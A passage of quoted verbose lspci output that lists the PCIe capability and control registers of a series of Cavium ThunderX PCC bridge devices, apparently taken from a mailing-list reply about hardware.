> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0b.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=05, subordinate=05, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0c.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=06, subordinate=06, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0d.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=07, subordinate=07, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0e.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=08, subordinate=08, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0f.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=09, subordinate=09, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:10.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0a, subordinate=0a, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:11.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0b, subordinate=0b, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:12.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0c, subordinate=0c, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:13.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0d, subordinate=0d, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:14.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=0e, subordinate=0e, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
